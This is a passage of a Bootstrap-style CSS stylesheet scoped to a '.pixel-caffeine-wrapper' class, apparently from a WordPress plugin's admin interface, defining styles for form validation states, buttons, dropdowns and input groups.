-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); } .pixel-caffeine-wrapper .has-warning .form-control:focus { border-color: #66512c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b; } .pixel-caffeine-wrapper .has-warning .input-group-addon { color: #8a6d3b; background-color: #fcf8e3; border-color: #8a6d3b; } .pixel-caffeine-wrapper .has-warning .form-control-feedback { color: #8a6d3b; } .pixel-caffeine-wrapper .has-error .help-block, .pixel-caffeine-wrapper .has-error .control-label, .pixel-caffeine-wrapper .has-error .radio, .pixel-caffeine-wrapper .has-error .checkbox, .pixel-caffeine-wrapper .has-error .radio-inline, .pixel-caffeine-wrapper .has-error .checkbox-inline, .pixel-caffeine-wrapper .has-error.radio label, .pixel-caffeine-wrapper .has-error.checkbox label, .pixel-caffeine-wrapper .has-error.radio-inline label, .pixel-caffeine-wrapper .has-error.checkbox-inline label { color: #a94442; } .pixel-caffeine-wrapper .has-error .form-control { border-color: #a94442; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); } .pixel-caffeine-wrapper .has-error .form-control:focus { border-color: #843534; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483; } .pixel-caffeine-wrapper .has-error .input-group-addon { color: #a94442; background-color: #f2dede; border-color: #a94442; } .pixel-caffeine-wrapper .has-error .form-control-feedback { color: #a94442; } .pixel-caffeine-wrapper .has-feedback label ~ .form-control-feedback { top: 25px; } .pixel-caffeine-wrapper .has-feedback label.sr-only ~ .form-control-feedback { top: 0; } .pixel-caffeine-wrapper .help-block { display: block; margin-top: 5px; margin-bottom: 10px; color: #737373; } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-inline .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .pixel-caffeine-wrapper .form-inline .form-control { display: inline-block; width: auto; vertical-align: middle; } .pixel-caffeine-wrapper .form-inline .form-control-static { display: inline-block; } .pixel-caffeine-wrapper .form-inline .input-group { display: inline-table; vertical-align: middle; } .pixel-caffeine-wrapper .form-inline .input-group .input-group-addon, .pixel-caffeine-wrapper .form-inline .input-group .input-group-btn, .pixel-caffeine-wrapper .form-inline .input-group .form-control { width: auto; } .pixel-caffeine-wrapper .form-inline .input-group > .form-control { width: 100%; } .pixel-caffeine-wrapper .form-inline .control-label { margin-bottom: 0; vertical-align: middle; } .pixel-caffeine-wrapper .form-inline .radio, .pixel-caffeine-wrapper .form-inline .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .pixel-caffeine-wrapper .form-inline .radio label, .pixel-caffeine-wrapper .form-inline .checkbox label { padding-left: 0; } .pixel-caffeine-wrapper .form-inline .radio input[type=radio], .pixel-caffeine-wrapper .form-inline .checkbox input[type=checkbox] { position: relative; margin-left: 0; } .pixel-caffeine-wrapper .form-inline .has-feedback .form-control-feedback { top: 0; } } .pixel-caffeine-wrapper .form-horizontal .radio, .pixel-caffeine-wrapper .form-horizontal .checkbox, .pixel-caffeine-wrapper .form-horizontal .radio-inline, .pixel-caffeine-wrapper .form-horizontal .checkbox-inline { padding-top: 7px; margin-top: 0; margin-bottom: 0; } .pixel-caffeine-wrapper .form-horizontal .radio, .pixel-caffeine-wrapper .form-horizontal .checkbox { min-height: 27px; } .pixel-caffeine-wrapper .form-horizontal .form-group { margin-right: -15px; margin-left: -15px; } .pixel-caffeine-wrapper .form-horizontal .form-group:before, .pixel-caffeine-wrapper .form-horizontal .form-group:after { display: table; content: " "; } .pixel-caffeine-wrapper .form-horizontal .form-group:after { clear: both; } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .control-label { padding-top: 7px; margin-bottom: 0; text-align: right; } } .pixel-caffeine-wrapper .form-horizontal .has-feedback .form-control-feedback { right: 15px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .form-group-lg .control-label { padding-top: 11px; font-size: 18px; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .form-group-sm .control-label { padding-top: 6px; font-size: 12px; } } .pixel-caffeine-wrapper .btn { display: inline-block; margin-bottom: 0; font-weight: normal; text-align: center; white-space: nowrap; vertical-align: middle; -ms-touch-action: manipulation; touch-action: manipulation; cursor: pointer; background-image: none; border: 1px solid transparent; padding: 6px 12px; font-size: 14px; line-height: 1.428571429; border-radius: 4px; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .pixel-caffeine-wrapper .btn:focus, .pixel-caffeine-wrapper .btn.focus, .pixel-caffeine-wrapper .btn:active:focus, .pixel-caffeine-wrapper .btn:active.focus, .pixel-caffeine-wrapper .btn.active:focus, .pixel-caffeine-wrapper .btn.active.focus { outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .pixel-caffeine-wrapper .btn:hover, .pixel-caffeine-wrapper .btn:focus, .pixel-caffeine-wrapper .btn.focus { color: #333; text-decoration: none; } .pixel-caffeine-wrapper .btn:active, .pixel-caffeine-wrapper .btn.active { background-image: none; outline: 0; -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); } .pixel-caffeine-wrapper .btn.disabled, .pixel-caffeine-wrapper .btn[disabled], fieldset[disabled] .pixel-caffeine-wrapper .btn { cursor: not-allowed; filter: alpha(opacity=65); opacity: 0.65; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper a.btn.disabled, fieldset[disabled] .pixel-caffeine-wrapper a.btn { pointer-events: none; } .pixel-caffeine-wrapper .btn-default { color: #333; background-color: #f2f2f2; border-color: #ccc; } .pixel-caffeine-wrapper .btn-default:focus, .pixel-caffeine-wrapper .btn-default.focus { color: #333; background-color: #d9d9d9; border-color: #8c8c8c; } .pixel-caffeine-wrapper .btn-default:hover { color: #333; background-color: #d9d9d9; border-color: #adadad; } .pixel-caffeine-wrapper .btn-default:active, .pixel-caffeine-wrapper .btn-default.active, .open > .pixel-caffeine-wrapper .btn-default.dropdown-toggle { color: #333; background-color: #d9d9d9; background-image: none; border-color: #adadad; } .pixel-caffeine-wrapper .btn-default:active:hover, .pixel-caffeine-wrapper .btn-default:active:focus, .pixel-caffeine-wrapper .btn-default:active.focus, .pixel-caffeine-wrapper .btn-default.active:hover, .pixel-caffeine-wrapper .btn-default.active:focus, .pixel-caffeine-wrapper .btn-default.active.focus, .open > .pixel-caffeine-wrapper .btn-default.dropdown-toggle:hover, .open > .pixel-caffeine-wrapper .btn-default.dropdown-toggle:focus, .open > .pixel-caffeine-wrapper .btn-default.dropdown-toggle.focus { color: #333; background-color: #c7c7c7; border-color: #8c8c8c; } .pixel-caffeine-wrapper .btn-default.disabled:hover, .pixel-caffeine-wrapper .btn-default.disabled:focus, .pixel-caffeine-wrapper .btn-default.disabled.focus, .pixel-caffeine-wrapper .btn-default[disabled]:hover, .pixel-caffeine-wrapper .btn-default[disabled]:focus, .pixel-caffeine-wrapper .btn-default[disabled].focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-default:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-default:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-default.focus { background-color: #f2f2f2; border-color: #ccc; } .pixel-caffeine-wrapper .btn-default .badge { color: #f2f2f2; background-color: #333; } .pixel-caffeine-wrapper .btn-primary { color: #fff; background-color: #337ab7; border-color: #2e6da4; } .pixel-caffeine-wrapper .btn-primary:focus, .pixel-caffeine-wrapper .btn-primary.focus { color: #fff; background-color: #286090; border-color: #122b40; } .pixel-caffeine-wrapper .btn-primary:hover { color: #fff; background-color: #286090; border-color: #204d74; } .pixel-caffeine-wrapper .btn-primary:active, .pixel-caffeine-wrapper .btn-primary.active, .open > .pixel-caffeine-wrapper .btn-primary.dropdown-toggle { color: #fff; background-color: #286090; background-image: none; border-color: #204d74; } .pixel-caffeine-wrapper .btn-primary:active:hover, .pixel-caffeine-wrapper .btn-primary:active:focus, .pixel-caffeine-wrapper .btn-primary:active.focus, .pixel-caffeine-wrapper .btn-primary.active:hover, .pixel-caffeine-wrapper .btn-primary.active:focus, .pixel-caffeine-wrapper .btn-primary.active.focus, .open > .pixel-caffeine-wrapper .btn-primary.dropdown-toggle:hover, .open > .pixel-caffeine-wrapper .btn-primary.dropdown-toggle:focus, .open > .pixel-caffeine-wrapper .btn-primary.dropdown-toggle.focus { color: #fff; background-color: #204d74; border-color: #122b40; } .pixel-caffeine-wrapper .btn-primary.disabled:hover, .pixel-caffeine-wrapper .btn-primary.disabled:focus, .pixel-caffeine-wrapper .btn-primary.disabled.focus, .pixel-caffeine-wrapper .btn-primary[disabled]:hover, .pixel-caffeine-wrapper .btn-primary[disabled]:focus, .pixel-caffeine-wrapper .btn-primary[disabled].focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-primary:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-primary:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-primary.focus { background-color: #337ab7; border-color: #2e6da4; } .pixel-caffeine-wrapper .btn-primary .badge { color: #337ab7; background-color: #fff; } .pixel-caffeine-wrapper .btn-success { color: #fff; background-color: #5cb85c; border-color: #4cae4c; } .pixel-caffeine-wrapper .btn-success:focus, .pixel-caffeine-wrapper .btn-success.focus { color: #fff; background-color: #449d44; border-color: #255625; } .pixel-caffeine-wrapper .btn-success:hover { color: #fff; background-color: #449d44; border-color: #398439; } .pixel-caffeine-wrapper .btn-success:active, .pixel-caffeine-wrapper .btn-success.active, .open > .pixel-caffeine-wrapper .btn-success.dropdown-toggle { color: #fff; background-color: #449d44; background-image: none; border-color: #398439; } .pixel-caffeine-wrapper .btn-success:active:hover, .pixel-caffeine-wrapper .btn-success:active:focus, .pixel-caffeine-wrapper .btn-success:active.focus, .pixel-caffeine-wrapper .btn-success.active:hover, .pixel-caffeine-wrapper .btn-success.active:focus, .pixel-caffeine-wrapper .btn-success.active.focus, .open > .pixel-caffeine-wrapper .btn-success.dropdown-toggle:hover, .open > .pixel-caffeine-wrapper .btn-success.dropdown-toggle:focus, .open > .pixel-caffeine-wrapper .btn-success.dropdown-toggle.focus { color: #fff; background-color: #398439; border-color: #255625; } .pixel-caffeine-wrapper .btn-success.disabled:hover, .pixel-caffeine-wrapper .btn-success.disabled:focus, .pixel-caffeine-wrapper .btn-success.disabled.focus, .pixel-caffeine-wrapper .btn-success[disabled]:hover, .pixel-caffeine-wrapper .btn-success[disabled]:focus, .pixel-caffeine-wrapper .btn-success[disabled].focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-success:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-success:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-success.focus { background-color: #5cb85c; border-color: #4cae4c; } .pixel-caffeine-wrapper .btn-success .badge { color: #5cb85c; background-color: #fff; } .pixel-caffeine-wrapper .btn-info { color: #fff; background-color: #5bc0de; border-color: #46b8da; } .pixel-caffeine-wrapper .btn-info:focus, .pixel-caffeine-wrapper .btn-info.focus { color: #fff; background-color: #31b0d5; border-color: #1b6d85; } .pixel-caffeine-wrapper .btn-info:hover { color: #fff; background-color: #31b0d5; border-color: #269abc; } .pixel-caffeine-wrapper .btn-info:active, .pixel-caffeine-wrapper .btn-info.active, .open > .pixel-caffeine-wrapper .btn-info.dropdown-toggle { color: #fff; background-color: #31b0d5; background-image: none; border-color: #269abc; } .pixel-caffeine-wrapper .btn-info:active:hover, .pixel-caffeine-wrapper .btn-info:active:focus, .pixel-caffeine-wrapper .btn-info:active.focus, .pixel-caffeine-wrapper .btn-info.active:hover, .pixel-caffeine-wrapper .btn-info.active:focus, .pixel-caffeine-wrapper .btn-info.active.focus, .open > .pixel-caffeine-wrapper .btn-info.dropdown-toggle:hover, .open > .pixel-caffeine-wrapper .btn-info.dropdown-toggle:focus, .open > .pixel-caffeine-wrapper .btn-info.dropdown-toggle.focus { color: #fff; background-color: #269abc; border-color: #1b6d85; } .pixel-caffeine-wrapper .btn-info.disabled:hover, .pixel-caffeine-wrapper .btn-info.disabled:focus, .pixel-caffeine-wrapper .btn-info.disabled.focus, .pixel-caffeine-wrapper .btn-info[disabled]:hover, .pixel-caffeine-wrapper .btn-info[disabled]:focus, .pixel-caffeine-wrapper .btn-info[disabled].focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-info:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-info:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-info.focus { background-color: #5bc0de; border-color: #46b8da; } .pixel-caffeine-wrapper .btn-info .badge { color: #5bc0de; background-color: #fff; } .pixel-caffeine-wrapper .btn-warning { color: #fff; background-color: #f0ad4e; border-color: #eea236; } .pixel-caffeine-wrapper .btn-warning:focus, .pixel-caffeine-wrapper .btn-warning.focus { color: #fff; background-color: #ec971f; border-color: #985f0d; } .pixel-caffeine-wrapper .btn-warning:hover { color: #fff; background-color: #ec971f; border-color: #d58512; } .pixel-caffeine-wrapper .btn-warning:active, .pixel-caffeine-wrapper .btn-warning.active, .open > .pixel-caffeine-wrapper .btn-warning.dropdown-toggle { color: #fff; background-color: #ec971f; background-image: none; border-color: #d58512; } .pixel-caffeine-wrapper .btn-warning:active:hover, .pixel-caffeine-wrapper .btn-warning:active:focus, .pixel-caffeine-wrapper .btn-warning:active.focus, .pixel-caffeine-wrapper .btn-warning.active:hover, .pixel-caffeine-wrapper .btn-warning.active:focus, .pixel-caffeine-wrapper .btn-warning.active.focus, .open > .pixel-caffeine-wrapper .btn-warning.dropdown-toggle:hover, .open > .pixel-caffeine-wrapper .btn-warning.dropdown-toggle:focus, .open > .pixel-caffeine-wrapper .btn-warning.dropdown-toggle.focus { color: #fff; background-color: #d58512; border-color: #985f0d; } .pixel-caffeine-wrapper .btn-warning.disabled:hover, .pixel-caffeine-wrapper .btn-warning.disabled:focus, .pixel-caffeine-wrapper .btn-warning.disabled.focus, .pixel-caffeine-wrapper .btn-warning[disabled]:hover, .pixel-caffeine-wrapper .btn-warning[disabled]:focus, .pixel-caffeine-wrapper .btn-warning[disabled].focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-warning:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-warning:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-warning.focus { background-color: #f0ad4e; border-color: #eea236; } .pixel-caffeine-wrapper .btn-warning .badge { color: #f0ad4e; background-color: #fff; } .pixel-caffeine-wrapper .btn-danger { color: #fff; background-color: #d9534f; border-color: #d43f3a; } .pixel-caffeine-wrapper .btn-danger:focus, .pixel-caffeine-wrapper .btn-danger.focus { color: #fff; background-color: #c9302c; border-color: #761c19; } .pixel-caffeine-wrapper .btn-danger:hover { color: #fff; background-color: #c9302c; border-color: #ac2925; } .pixel-caffeine-wrapper .btn-danger:active, .pixel-caffeine-wrapper .btn-danger.active, .open > .pixel-caffeine-wrapper .btn-danger.dropdown-toggle { color: #fff; background-color: #c9302c; background-image: none; border-color: #ac2925; } .pixel-caffeine-wrapper .btn-danger:active:hover, .pixel-caffeine-wrapper .btn-danger:active:focus, .pixel-caffeine-wrapper .btn-danger:active.focus, .pixel-caffeine-wrapper .btn-danger.active:hover, .pixel-caffeine-wrapper .btn-danger.active:focus, .pixel-caffeine-wrapper .btn-danger.active.focus, .open > .pixel-caffeine-wrapper .btn-danger.dropdown-toggle:hover, .open > .pixel-caffeine-wrapper .btn-danger.dropdown-toggle:focus, .open > .pixel-caffeine-wrapper .btn-danger.dropdown-toggle.focus { color: #fff; background-color: #ac2925; border-color: #761c19; } .pixel-caffeine-wrapper .btn-danger.disabled:hover, .pixel-caffeine-wrapper .btn-danger.disabled:focus, .pixel-caffeine-wrapper .btn-danger.disabled.focus, .pixel-caffeine-wrapper .btn-danger[disabled]:hover, .pixel-caffeine-wrapper .btn-danger[disabled]:focus, .pixel-caffeine-wrapper .btn-danger[disabled].focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-danger:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-danger:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-danger.focus { background-color: #d9534f; border-color: #d43f3a; } .pixel-caffeine-wrapper .btn-danger .badge { color: #d9534f; background-color: #fff; } .pixel-caffeine-wrapper .btn-link { font-weight: 400; color: #337ab7; border-radius: 0; } .pixel-caffeine-wrapper .btn-link, .pixel-caffeine-wrapper .btn-link:active, .pixel-caffeine-wrapper .btn-link.active, .pixel-caffeine-wrapper .btn-link[disabled], fieldset[disabled] .pixel-caffeine-wrapper .btn-link { background-color: transparent; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .btn-link, .pixel-caffeine-wrapper .btn-link:hover, .pixel-caffeine-wrapper .btn-link:focus, .pixel-caffeine-wrapper .btn-link:active { border-color: transparent; } .pixel-caffeine-wrapper .btn-link:hover, .pixel-caffeine-wrapper .btn-link:focus { color: #23527c; text-decoration: underline; background-color: transparent; } .pixel-caffeine-wrapper .btn-link[disabled]:hover, .pixel-caffeine-wrapper .btn-link[disabled]:focus, fieldset[disabled] .pixel-caffeine-wrapper .btn-link:hover, fieldset[disabled] .pixel-caffeine-wrapper .btn-link:focus { color: #777777; text-decoration: none; } .pixel-caffeine-wrapper .btn-lg, .pixel-caffeine-wrapper .btn-group-lg > .btn { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .pixel-caffeine-wrapper .btn-sm, .pixel-caffeine-wrapper .btn-group-sm > .btn { padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .pixel-caffeine-wrapper .btn-xs, .pixel-caffeine-wrapper .btn-group-xs > .btn { padding: 1px 5px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .pixel-caffeine-wrapper .btn-block { display: block; width: 100%; } .pixel-caffeine-wrapper .btn-block + .btn-block { margin-top: 5px; } .pixel-caffeine-wrapper input[type=submit].btn-block, .pixel-caffeine-wrapper input[type=reset].btn-block, .pixel-caffeine-wrapper input[type=button].btn-block { width: 100%; } .pixel-caffeine-wrapper .fade { opacity: 0; -webkit-transition: opacity 0.15s linear; -o-transition: opacity 0.15s linear; transition: opacity 0.15s linear; } .pixel-caffeine-wrapper .fade.in { opacity: 1; } .pixel-caffeine-wrapper .collapse { display: none; } .pixel-caffeine-wrapper .collapse.in { display: block; } .pixel-caffeine-wrapper tr.collapse.in { display: table-row; } .pixel-caffeine-wrapper tbody.collapse.in { display: table-row-group; } .pixel-caffeine-wrapper .collapsing { position: relative; height: 0; overflow: hidden; -webkit-transition-property: height, visibility; -o-transition-property: height, visibility; transition-property: height, visibility; -webkit-transition-duration: 0.35s; -o-transition-duration: 0.35s; transition-duration: 0.35s; -webkit-transition-timing-function: ease; -o-transition-timing-function: ease; transition-timing-function: ease; } .pixel-caffeine-wrapper .caret { display: inline-block; width: 0; height: 0; margin-left: 2px; vertical-align: middle; border-top: 4px dashed; border-top: 4px solid \9 ; border-right: 4px solid transparent; border-left: 4px solid transparent; } .pixel-caffeine-wrapper .dropup, .pixel-caffeine-wrapper .dropdown { position: relative; } .pixel-caffeine-wrapper .dropdown-toggle:focus { outline: 0; } .pixel-caffeine-wrapper .dropdown-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; font-size: 14px; text-align: left; list-style: none; background-color: #fff; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); } .pixel-caffeine-wrapper .dropdown-menu.pull-right { right: 0; left: auto; } .pixel-caffeine-wrapper .dropdown-menu .divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .pixel-caffeine-wrapper .dropdown-menu > li > a { display: block; padding: 3px 20px; clear: both; font-weight: 400; line-height: 1.428571429; color: #333333; white-space: nowrap; } .pixel-caffeine-wrapper .dropdown-menu > li > a:hover, .pixel-caffeine-wrapper .dropdown-menu > li > a:focus { color: #262626; text-decoration: none; background-color: #f5f5f5; } .pixel-caffeine-wrapper .dropdown-menu > .active > a, .pixel-caffeine-wrapper .dropdown-menu > .active > a:hover, .pixel-caffeine-wrapper .dropdown-menu > .active > a:focus { color: #fff; text-decoration: none; background-color: #337ab7; outline: 0; } .pixel-caffeine-wrapper .dropdown-menu > .disabled > a, .pixel-caffeine-wrapper .dropdown-menu > .disabled > a:hover, .pixel-caffeine-wrapper .dropdown-menu > .disabled > a:focus { color: #777777; } .pixel-caffeine-wrapper .dropdown-menu > .disabled > a:hover, .pixel-caffeine-wrapper .dropdown-menu > .disabled > a:focus { text-decoration: none; cursor: not-allowed; background-color: transparent; background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); } .pixel-caffeine-wrapper .open > .dropdown-menu { display: block; } .pixel-caffeine-wrapper .open > a { outline: 0; } .pixel-caffeine-wrapper .dropdown-menu-right { right: 0; left: auto; } .pixel-caffeine-wrapper .dropdown-menu-left { right: auto; left: 0; } .pixel-caffeine-wrapper .dropdown-header { display: block; padding: 3px 20px; font-size: 12px; line-height: 1.428571429; color: #777777; white-space: nowrap; } .pixel-caffeine-wrapper .dropdown-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 990; } .pixel-caffeine-wrapper .pull-right > .dropdown-menu { right: 0; left: auto; } .pixel-caffeine-wrapper .dropup .caret, .pixel-caffeine-wrapper .navbar-fixed-bottom .dropdown .caret { content: ""; border-top: 0; border-bottom: 4px dashed; border-bottom: 4px solid \9 ; } .pixel-caffeine-wrapper .dropup .dropdown-menu, .pixel-caffeine-wrapper .navbar-fixed-bottom .dropdown .dropdown-menu { top: auto; bottom: 100%; margin-bottom: 2px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-right .dropdown-menu { right: 0; left: auto; } .pixel-caffeine-wrapper .navbar-right .dropdown-menu-left { left: 0; right: auto; } } .pixel-caffeine-wrapper .btn-group, .pixel-caffeine-wrapper .btn-group-vertical { position: relative; display: inline-block; vertical-align: middle; } .pixel-caffeine-wrapper .btn-group > .btn, .pixel-caffeine-wrapper .btn-group-vertical > .btn { position: relative; float: left; } .pixel-caffeine-wrapper .btn-group > .btn:hover, .pixel-caffeine-wrapper .btn-group > .btn:focus, .pixel-caffeine-wrapper .btn-group > .btn:active, .pixel-caffeine-wrapper .btn-group > .btn.active, .pixel-caffeine-wrapper .btn-group-vertical > .btn:hover, .pixel-caffeine-wrapper .btn-group-vertical > .btn:focus, .pixel-caffeine-wrapper .btn-group-vertical > .btn:active, .pixel-caffeine-wrapper .btn-group-vertical > .btn.active { z-index: 2; } .pixel-caffeine-wrapper .btn-group .btn + .btn, .pixel-caffeine-wrapper .btn-group .btn + .btn-group, .pixel-caffeine-wrapper .btn-group .btn-group + .btn, .pixel-caffeine-wrapper .btn-group .btn-group + .btn-group { margin-left: -1px; } .pixel-caffeine-wrapper .btn-toolbar { margin-left: -5px; } .pixel-caffeine-wrapper .btn-toolbar:before, .pixel-caffeine-wrapper .btn-toolbar:after { display: table; content: " "; } .pixel-caffeine-wrapper .btn-toolbar:after { clear: both; } .pixel-caffeine-wrapper .btn-toolbar .btn, .pixel-caffeine-wrapper .btn-toolbar .btn-group, .pixel-caffeine-wrapper .btn-toolbar .input-group { float: left; } .pixel-caffeine-wrapper .btn-toolbar > .btn, .pixel-caffeine-wrapper .btn-toolbar > .btn-group, .pixel-caffeine-wrapper .btn-toolbar > .input-group { margin-left: 5px; } .pixel-caffeine-wrapper .btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { border-radius: 0; } .pixel-caffeine-wrapper .btn-group > .btn:first-child { margin-left: 0; } .pixel-caffeine-wrapper .btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .pixel-caffeine-wrapper .btn-group > .btn:last-child:not(:first-child), .pixel-caffeine-wrapper .btn-group > .dropdown-toggle:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .pixel-caffeine-wrapper .btn-group > .btn-group { float: left; } .pixel-caffeine-wrapper .btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .pixel-caffeine-wrapper .btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, .pixel-caffeine-wrapper .btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-top-right-radius: 0; border-bottom-right-radius: 0; } .pixel-caffeine-wrapper .btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-bottom-left-radius: 0; } .pixel-caffeine-wrapper .btn-group .dropdown-toggle:active, .pixel-caffeine-wrapper .btn-group.open .dropdown-toggle { outline: 0; } .pixel-caffeine-wrapper .btn-group > .btn + .dropdown-toggle { padding-right: 8px; padding-left: 8px; } .pixel-caffeine-wrapper .btn-group > .btn-lg + .dropdown-toggle, .pixel-caffeine-wrapper .btn-group-lg.btn-group > .btn + .dropdown-toggle { padding-right: 12px; padding-left: 12px; } .pixel-caffeine-wrapper .btn-group.open .dropdown-toggle { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); } .pixel-caffeine-wrapper .btn-group.open .dropdown-toggle.btn-link { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .btn .caret { margin-left: 0; } .pixel-caffeine-wrapper .btn-lg .caret, .pixel-caffeine-wrapper .btn-group-lg > .btn .caret { border-width: 5px 5px 0; border-bottom-width: 0; } .pixel-caffeine-wrapper .dropup .btn-lg .caret, .pixel-caffeine-wrapper .dropup .btn-group-lg > .btn .caret { border-width: 0 5px 5px; } .pixel-caffeine-wrapper .btn-group-vertical > .btn, .pixel-caffeine-wrapper .btn-group-vertical > .btn-group, .pixel-caffeine-wrapper .btn-group-vertical > .btn-group > .btn { display: block; float: none; width: 100%; max-width: 100%; } .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:before, .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:after { display: table; content: " "; } .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:after { clear: both; } .pixel-caffeine-wrapper .btn-group-vertical > .btn-group > .btn { float: none; } .pixel-caffeine-wrapper .btn-group-vertical > .btn + .btn, .pixel-caffeine-wrapper .btn-group-vertical > .btn + .btn-group, .pixel-caffeine-wrapper .btn-group-vertical > .btn-group + .btn, .pixel-caffeine-wrapper .btn-group-vertical > .btn-group + .btn-group { margin-top: -1px; margin-left: 0; } .pixel-caffeine-wrapper .btn-group-vertical > .btn:not(:first-child):not(:last-child) { border-radius: 0; } .pixel-caffeine-wrapper .btn-group-vertical > .btn:first-child:not(:last-child) { border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .pixel-caffeine-wrapper .btn-group-vertical > .btn:last-child:not(:first-child) { border-top-left-radius: 0; border-top-right-radius: 0; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; } .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .pixel-caffeine-wrapper .btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .pixel-caffeine-wrapper .btn-group-justified { display: table; width: 100%; table-layout: fixed; border-collapse: separate; } .pixel-caffeine-wrapper .btn-group-justified > .btn, .pixel-caffeine-wrapper .btn-group-justified > .btn-group { display: table-cell; float: none; width: 1%; } .pixel-caffeine-wrapper .btn-group-justified > .btn-group .btn { width: 100%; } .pixel-caffeine-wrapper .btn-group-justified > .btn-group .dropdown-menu { left: auto; } .pixel-caffeine-wrapper [data-toggle=buttons] > .btn input[type=radio], .pixel-caffeine-wrapper [data-toggle=buttons] > .btn input[type=checkbox], .pixel-caffeine-wrapper [data-toggle=buttons] > .btn-group > .btn input[type=radio], .pixel-caffeine-wrapper [data-toggle=buttons] > .btn-group > .btn input[type=checkbox] { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .pixel-caffeine-wrapper .input-group { position: relative; display: table; border-collapse: separate; } .pixel-caffeine-wrapper .input-group[class*=col-] { float: none; padding-right: 0; padding-left: 0; } .pixel-caffeine-wrapper .input-group .form-control { position: relative; z-index: 2; float: left; width: 100%; margin-bottom: 0; } .pixel-caffeine-wrapper .input-group .form-control:focus { z-index: 3; } .pixel-caffeine-wrapper .input-group-addon, .pixel-caffeine-wrapper .input-group-btn, .pixel-caffeine-wrapper .input-group .form-control { display: table-cell; } .pixel-caffeine-wrapper .input-group-addon:not(:first-child):not(:last-child), .pixel-caffeine-wrapper .input-group-btn:not(:first-child):not(:last-child), .pixel-caffeine-wrapper .input-group .form-control:not(:first-child):not(:last-child) { border-radius: 0; } .pixel-caffeine-wrapper .input-group-addon, .pixel-caffeine-wrapper .input-group-btn { width: 1%; white-space: nowrap; vertical-align: middle; } .pixel-caffeine-wrapper .input-group-addon { padding: 6px 12px; font-size: 14px; font-weight: 400; line-height: 1; color: #555555; text-align: center; background-color: #eeeeee; 